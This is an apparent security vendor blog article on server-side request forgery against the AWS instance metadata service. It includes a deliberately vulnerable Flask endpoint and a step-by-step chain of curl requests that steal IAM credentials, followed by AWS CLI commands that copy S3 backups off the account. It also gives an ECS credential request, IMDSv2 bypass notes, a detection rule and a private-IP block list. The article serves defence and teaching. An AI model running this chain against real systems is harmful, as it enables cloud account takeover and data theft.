What SSRF actually is β and why cloud makes it catastrophic
Server-Side Request Forgery (SSRF) is a vulnerability class where an attacker can cause the server to make HTTP requests to arbitrary destinations β including internal network addresses not reachable from the public internet. The classic pattern is a feature that fetches a URL on behalf of a user: image proxies, webhook validators, URL preview generators, PDF renderers, and any API that accepts a url parameter.
In pre-cloud on-premise environments, SSRF was serious but limited. The attacker could scan internal IP ranges, reach internal HTTP services, and potentially access unauthenticated admin panels. Dangerous, but bounded by what was actually running on the internal network.
In AWS (and GCP, Azure equivalents), every EC2 instance has a hardwired, always-available HTTP endpoint at 169.254.169.254 β the Instance Metadata Service. This endpoint requires no authentication and returns, among other things, the temporary IAM role credentials attached to the instance. SSRF against this endpoint turns a mundane URL injection into cloud account takeover.
The Capital One breach (2019) was executed via an SSRF vulnerability in a WAF running on EC2. The attacker queried the IMDS endpoint through the SSRF, obtained IAM role credentials, and used them to exfiltrate 100 million customer records from S3. The vulnerability was not exotic β it was a standard SSRF to IMDSv1 chain.
The IMDS endpoint anatomy: what lives at 169.254.169.254
The AWS Instance Metadata Service (IMDS) is a link-local HTTP server at http://169.254.169.254/latest/ available only from within the EC2 instance (or container task). It provides configuration data, user data scripts, and crucially β IAM role credentials.
# List metadata categories $ curl http://169.254.169.254/latest/meta-data/ ami-id hostname instance-type iam/ local-ipv4 placement/ # Get the IAM role name attached to this instance $ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ app-production-role # Get the actual temporary credentials for that role $ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-production-role { "Code": "Success", "Type": "AWS-HMAC", "AccessKeyId": "ASIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "Token": "AQoDYXdzEJr...[500+ characters]...", "Expiration": "2026-03-09T18:00:00Z" }
These are real, valid AWS temporary credentials. They have exactly the same permissions as the IAM role attached to the instance. If that role has s3:GetObject on *, the attacker now has read access to every S3 bucket in the account. If it has ec2:*, they can launch instances. If it has any iam: permissions, they can escalate to other roles.
Full exploit chain: from vulnerable URL parameter to IAM keys
The following example uses a common Python web application pattern β a URL screenshot/preview service β to demonstrate the complete chain.
import requests from flask import Flask, request, jsonify app = Flask(__name__) # Vulnerable: fetches user-supplied URL server-side @app.route("/preview") def preview(): url = request.args.get("url") # No allowlist, no scheme validation, no private IP blocking resp = requests.get(url, timeout=5) return jsonify({"content": resp.text})
# Step 1: Discover the role name $ curl "https://app.example.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" {"content": "app-production-role"} # Step 2: Retrieve the credentials $ curl "https://app.example.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-production-role" { "AccessKeyId": "ASIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "Token": "AQoDYXdzEJr...", "Expiration": "2026-03-09T18:00:00Z" } # Step 3: Use credentials from attacker's machine $ export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ export AWS_SESSION_TOKEN="AQoDYXdzEJr..." $ aws sts get-caller-identity { "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/app-production-role/i-0abc123" } # Step 4: Enumerate and exfiltrate $ aws s3 ls $ aws s3 cp s3://company-prod-database-backups/ /tmp/ --recursive
Total time: under 60 seconds. No exploit code. No zero-days. Just HTTP requests and the AWS CLI.
Why IMDSv2 is not a complete fix
AWS introduced IMDSv2 (Instance Metadata Service v2) in 2019. It requires a two-step process: first, obtain a session token via a PUT request with a X-aws-ec2-metadata-token-ttl-seconds header; then use that token as a header in subsequent GET requests. The PUT request includes a hop limit (TTL) that prevents it from traversing proxies in most standard SSRF scenarios.
# IMDSv2: first get a session token via PUT (hop limit = 1 blocks most proxies) $ TOKEN=$(curl -s -X PUT \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ http://169.254.169.254/latest/api/token) # Then use the token for metadata requests $ curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/
The hop-limit mechanism works against SSRF in HTTP proxy scenarios. But it fails to protect in several common cases:
- SSRF via redirects: If the vulnerable application follows HTTP redirects, an attacker can redirect from a controlled domain to
169.254.169.254. The PUT request with the hop limit still executes from the application server β same hop, same result. - IMDSv1 not disabled: IMDSv2 is opt-in. If
HttpTokensis not set torequired, IMDSv1 remains available. Many existing EC2 instances still have it enabled for compatibility. - Application-layer SSRF: If the SSRF vulnerability is in application code (not a network proxy), the application itself makes the PUT request, satisfying the hop limit naturally.
To verify IMDSv1 is disabled on an EC2 instance: aws ec2 describe-instances --query "Reservations[*].Instances[*].MetadataOptions" β look for "HttpTokens": "required". If it says "optional", IMDSv1 is still active.
ECS task metadata and Lambda: the IMDSv2 alternative attack paths
ECS tasks and Lambda functions don't use the EC2 IMDS endpoint. They use separate credential providers β but these also create SSRF exposure vectors.
ECS task metadata endpoint
ECS tasks running on Fargate or EC2 have their credentials injected via the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable. The full endpoint is http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}. If this environment variable is accessible to an SSRF payload (e.g., through an environment variable disclosure bug combined with SSRF), an attacker can retrieve ECS task credentials directly.
# If attacker knows the relative URI (from env disclosure or guessing) $ curl "https://app.example.com/preview?url=http://169.254.170.2/v2/credentials/a1b2c3d4-1234-5678-abcd-1234567890ab" { "AccessKeyId": "ASIAIOSFODNN7EXAMPLE", "SecretAccessKey": "...", "Token": "...", "Expiration": "2026-03-09T18:00:00Z" }
Lambda function URL SSRF
Lambda functions have their credentials in the environment variables AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN. An SSRF that can read environment variables (or a server-side template injection that evaluates {{ env }}) directly yields valid credentials without touching the metadata endpoint at all.
Detection: SAST rules for SSRF and runtime alerting
SSRF is notoriously hard to detect with static analysis because it requires understanding the full data flow from a user-controlled input to an outbound HTTP call. Taint-tracking SAST tools (Semgrep, CodeQL, Snyk Code) can model this flow when sources and sinks are declared, but many variations evade detection.
rules: - id: ssrf-user-controlled-url patterns: - pattern: requests.get($URL, ...) - pattern-not: requests.get("...", ...) message: Potential SSRF: URL may be user-controlled severity: WARNING languages: [python]
For runtime detection, CloudTrail is your friend. An SSRF-obtained credential used from an external IP will show up in CloudTrail with the assumed-role ARN but sourcing from an IP outside your known infrastructure range. GuardDuty's UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration finding fires specifically for this scenario.
Remediation: three layers of defence
1. Block outbound requests to private IP ranges in application code
import ipaddress, socket from urllib.parse import urlparse PRIVATE_RANGES = [ ipaddress.ip_network("10.0.0.0/8"), ipaddress.ip_network("172.16.0.0/12"), ipaddress.ip_network("192.168.0.0/16"), ipaddress.ip_network("169.254.0.0/16"), # link-local (IMDS!) ipaddress.ip_network("127.0.0.0/8"), ipaddress.ip_network("::1/128"), ] def is_safe_url(url: str) -> bool: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False hostname = parsed.hostname try: ip = ipaddress.ip_address(socket.gethostbyname(hostname)) except (socket.gaierror, ValueError): return False return not any(ip in net for net in PRIVATE_RANGES)
2. Enforce IMDSv2 on all EC2 instances
resource "aws_instance" "app" { ami = data.aws_ami.app.id instance_type = "t3.medium" metadata_options { http_endpoint = "enabled" http_tokens = "required" # IMDSv2 mandatory http_put_response_hop_limit = 1 # Block proxy forwarding } }
3. Apply least-privilege IAM roles
Even if SSRF occurs, a role with only the minimum required permissions (e.g., read-only access to specific S3 prefixes) limits the blast radius. The credential theft still happens, but the attacker cannot move laterally or exfiltrate unrelated data. Apply resource-level conditions and aws:SourceIp condition keys to restrict where role credentials can be used from.
Detect SSRF and cloud misconfigurations before attackers do
AquilaX SAST identifies SSRF sinks with taint-flow analysis across Python, Node.js, Go, and Java β and flags IAM misconfigurations in your IaC before they reach production.
Explore SAST scanning β